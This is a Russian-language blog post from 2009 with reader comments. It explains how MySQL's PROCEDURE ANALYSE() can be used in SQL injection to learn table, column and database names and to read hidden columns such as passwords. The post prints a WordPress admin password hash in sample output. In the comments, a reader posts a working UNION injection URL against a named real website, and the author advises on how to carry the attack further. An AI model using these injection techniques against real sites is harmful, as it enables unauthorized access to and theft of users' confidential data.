SQL-инъекции и PROCEDURE ANALYSE()

PROCEDURE ANALYSE() – это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.

Синтаксис:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:

mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE();
+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

| Field_name             | Min_value                          | Max_value                          | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std  | Optimal_fieldtype                                   |

+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

| wp.wp_users.user_login | admin                              | admin                              |          5 |          5 |                0 |     0 | 5.0000                  | NULL | ENUM('admin') NOT NULL                              |
| wp.wp_users.user_pass  | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 |         34 |         34 |                0 |     0 | 34.0000                 | NULL | ENUM('$P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0') NOT NULL |

+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

2 rows in set (0.00 sec)

Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:

  • процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
  • эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения – от того, как оно выводит данные, возвращаемые базой данных

Для перебора записей с необходимыми данными возможно использование оператора LIMIT:
SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE() — вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую
SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE() — вернет вторую запись (wp.wp_users.user_pass)

Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации:

  • имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей;
  • параметр ID не фильтруется;
  • запрос для получения данных из БД имеет вид:
    SELECT * FROM users WHERE id=1
    в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;

Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.

Читайте форум sla.ckers.org, там еще много чего интересного 😉


14 comments:

  1. Pento, 28. January 2009, 0:16

    Хммм, занимательная идея 🙂
    Ушёл тестить.

     
  2. c411k, 29. January 2009, 5:48

    oga, thx, interesno 😉

     
  3. halkfild, 2. February 2009, 12:29

    ого, познавательно (:

     
  4. Pln, 2. February 2009, 14:54

    А на каком-нибудь рабочем примере показать?
    Спасибо!

     
  5. Raz0r, 2. February 2009, 18:55

    попробуйте что-нибудь из этого:
    https://forum.antichat.ru/threadedpost1095320.html

     
  6. tmp, 7. March 2009, 23:48

    Респект! Я как раз мучился – мускуль 4-ый – нет возможности получить инфу о таблицах. и тут такая прекрасная идея!!! Уже префикс знаю ну и таблицу нашел )) PROCEDURE ANALYSE() – выручил 😉
    ЗЫ
    А есть ли какая возможность в 5 мускуле просмотреть таблицы в БД mysql если нет привилегий?

     
  7. Sergey, 23. April 2009, 21:26

    Не мог бы ты на конкретном примере показать, как этим пользоваться.

    Имеем уязвимый сайт – http://www.barcelo.edu.ar/vernoticia.php?id=522

    Воспользуемся уязвимостью –
    http://www.barcelo.edu.ar/vernoticia.php?id=-1+union+select+1,2,3,4,5,6,7,8,CAST(version()+AS+char),CAST(database()+AS+char),CAST(user()+AS+char),12,13,14,15,16,17,18,19,20,21/*

    Точно присутствуют таблицы: ‘imagenes’, ‘areas’,’novedades’

    Как используя PROCEDURE ANALYSE() можно получить имена колонок этих таблиц?

     
  8. Raz0r, 23. April 2009, 22:24

    С помощью PROCEDURE ANALYSE() можно узнать имена только тех таблиц с их колонками, из которых производится выборка в оригинальном запросе, т.е. необходимо найти другую SQL-инъекцию в запросе, в котором участвует одна из этих таблиц

     
  9. Sergey, 23. April 2009, 22:48

    Как раз таблицы ‘areas’ и ‘novedades’ участвуют в оригинальном запросе

    http://www.barcelo.edu.ar/vernoticia.php?id=522

     
  10. Raz0r, 24. April 2009, 15:58

    В вашем случае при запросе

    http://www.barcelo.edu.ar/vernoticia.php?id=522 PROCEDURE ANALYSE()-- -

    возникает еще одна ошибка, значит результат одного запроса попадает в другой

     
  11. Веля Солнышкин, 1. May 2009, 23:04

    Разег,у меня вообще на страничке после этого запроса ничего не отображается.Помимо 522+procedure+analyse(выборке тоесть) есть ещё выкрутасы? Мб в where,limit,order,group и т.д.?У меня чет нигде не работает.

     
  12. Raz0r, 2. May 2009, 15:39

    Возможность вывода необходимой информации зависит от исходного запроса, в частности PROCEDURE ANALYSE() после ORDER BY вызывает ошибку:

    Can’t use ORDER clause with this procedure

     
  13. Best, 3. May 2009, 19:08

    PROCEDURE ANALYSE() не будет работать, для вывода данных на страницу использовался ассоциативный массив (а так чаще всего и бывает). Вот пример:

    $sql=mysql_query(“select `id`,`name` from `mp3_type` procedure analyse()”);
    $row=mysql_fetch_array($sql);

    Елемент массива $row[‘id’] – неопределен, а $row[0] – определен. Чаще всего для вывода используется $row[‘id’], и соответственно мы не увидим результатов выполнения PROCEDURE ANALYSE(), а вто если любой другой метод ($row[0], mysql_result, etc…) то все запашет наура.

     
  14. Strilo4ka, 18. January 2010, 20:22

    класс , плохо что только название таблицы с которой работаем можна узнать, но все же1 и еще бока с ассоциативным масивом!!

    молодца ^__^

     

Write a comment: